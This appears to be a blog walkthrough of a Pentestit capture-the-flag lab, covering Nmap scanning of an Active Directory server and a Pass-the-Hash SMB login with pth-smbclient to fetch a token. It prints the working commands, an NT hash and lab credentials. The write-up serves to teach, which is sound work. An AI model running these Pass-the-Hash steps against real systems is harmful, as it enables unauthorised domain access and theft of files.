In my previous post “Pentestit Lab v11 - RDP Token (3/12)”, we footprinted the Office 2 subnet, utilized SSH tunneling to attain RDP access, enumerated and brute forced RDP username/passwords, utilized the MS16-032 Privilege Escalation Exploit, found a user password hash and found our third token. Today we will return back to the Main Office to utilize our newly found hash to compromise the AD Server, and the AD Token - which will include the following:
- Footprinting the AD Server
- Leveraging PTH (Pass the Hash) for SMB Authentication
- Finding the AD Token
Footprinting the AD Server
If you recall back to my previous post, after we compromised the RDP Token we began to carry out some Post-Exploitation Intelligence Gathering and found a password hash for the user arm554. Now that we have a legitimate hash we can go ahead and attempt to go back and attack the AD server.
Looking at the Network Map we see that the AD Server is located in the Main Office using the IP of 172.16.0.10.
At this point I hope you didn’t close out your OpenVPN connection that we brute forced during Pentestit Lab v11 - Site Token. If you did, and forgot how to re-connect back to the Main Office, then I suggest you go back and read on how we accomplished that task.
Once you are connected back to the Main Office, let’s fire up Nmap and scan the AD server to see if there are any open ports that might be of interest to us.
root@kali:~/pentestit# nmap -A -sV -n 172.16.0.10
Starting Nmap 7.40 ( https://nmap.org ) at 2017-07-17 22:08 CDT
Nmap scan report for 172.16.0.10
Host is up (0.46s latency).
Not shown: 983 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-07-01 04:23:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: TESTLAB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-U9CSMSIDNP7.Test.Lab
| Not valid before: 2017-06-29T06:47:11
|_Not valid after: 2017-12-29T06:47:11
|_ssl-date: 2017-07-01T04:25:44+00:00; -16d22h45m39s from scanner time.
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: WIN-U9CSMSIDNP7; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -16d22h45m39s, deviation: 0s, median: -16d22h45m40s
|_nbstat: NetBIOS name: WIN-U9CSMSIDNP7, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2f:9d:23 (Oracle VirtualBox virtual NIC)
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: WIN-U9CSMSIDNP7
| NetBIOS computer name: WIN-U9CSMSIDNP7\x00
| Domain name: Test.Lab
| Forest name: Test.Lab
| FQDN: WIN-U9CSMSIDNP7.Test.Lab
|_ System time: 2017-06-30T21:25:44-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 505.51 ms 10.255.0.1
2 505.54 ms 172.16.0.10
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 283.98 seconds
After reviewing the Nmap scan we that TCP/139 and TCP/445 are open, thus NetBIOS and SMB are currently open and accepting connections.
Now if we look toward the bottom of the scan we can see that Namp executed a smb script scan against the AD server, meaning that we are able to connect to the AD via SMB with user level authentication.
We already have the username/password for arm554 so let’s attempt to connect to the AD Server using smbclient with the username arm554.
root@kali:~/pentestit# smbclient -L 172.16.0.10 -U arm554
WARNING: The "syslog" option is deprecated
Enter arm554's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Unfortunately it seems we were able to connect, but the login failed - so maybe the password we had was bad?
Leveraging PTH (Pass the Hash) for SMB Authentication
Judging by the nmap scan, this is a Windows 2012 R2 Sever and it currently supports SMBv2. Since we know that arm554 is a valid user, and we found his hash on the compromised RDP machine, what we can do is attempt something called Pass the Hash, which should allow us to authenticate to the AD machine remotely without knowing the legitimate user’s password.
We can utilize this awesome tool called pth-toolkit to pass the hash via a smb client. If all goes well, we should be able to list the active shares on AD.
Let’s utilize the following command to do just that…
root@kali:~/pentestit# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 -L 172.16.0.10 \\\\172.16.0.10\\ 6361DEA164EE8FE91FE7B117FBC9CA5E
WARNING: The "syslog" option is deprecated
Domain=[TESTLAB] OS=[] Server=[]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
files Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Connection to 172.16.0.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
NetBIOS over TCP disabled -- no workgroup available
Finding the AD Token
Awesome! So we were able to successfully list all the active shares on the AD Server via Pass the Hash! The share titled files looks interesting, so let’s go ahead and connect to it via SMB again and see what’s inside.
root@kali:~/pentestit# pth-smbclient --user=arm554 --pw-nt-hash -m smb3 \\\\172.16.0.10\\files 6361DEA164EE8FE91FE7B117FBC9CA5E
WARNING: The "syslog" option is deprecated
Domain=[TESTLAB] OS=[] Server=[]
smb: \> ls
. D 0 Fri Jun 30 15:40:00 2017
.. D 0 Fri Jun 30 15:40:00 2017
network_test.txt A 103 Fri Jun 30 15:43:19 2017
token.txt A 14 Fri Jun 30 20:14:55 2017
10395647 blocks of size 4096. 8167939 blocks available
smb: \>
Running ls via the smb client shoes us that there are two files in the files share, a network test document, and the token!
Let’s download those files to our computer so we can read them.
smb: \> get network_test.txt
getting file \network_test.txt of size 103 as network_test.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> get token.txt
getting file \token.txt of size 14 as token.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Now from out Kali machine, we can read both files - let’s see what the network_test.txt files has.
root@kali:~/pentestit# cat network_test.txt
Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter admin:77_GrantedSuperAdmin_77
Awesome! We got a username and password for the DIR subnet, as well as a hint! ARP-table… hmm, what could it be used for? A well, we will just have to save this and find out later!
Token (4/12)
Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!
You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the AD sever via Pass the Hash!
You learn by doing, so go through this walkthrough, and the lab - and learn something new!
That’s all for now, stay tuned for my next post as we compromise Token (5/12) - The Director Token!
Leave a Comment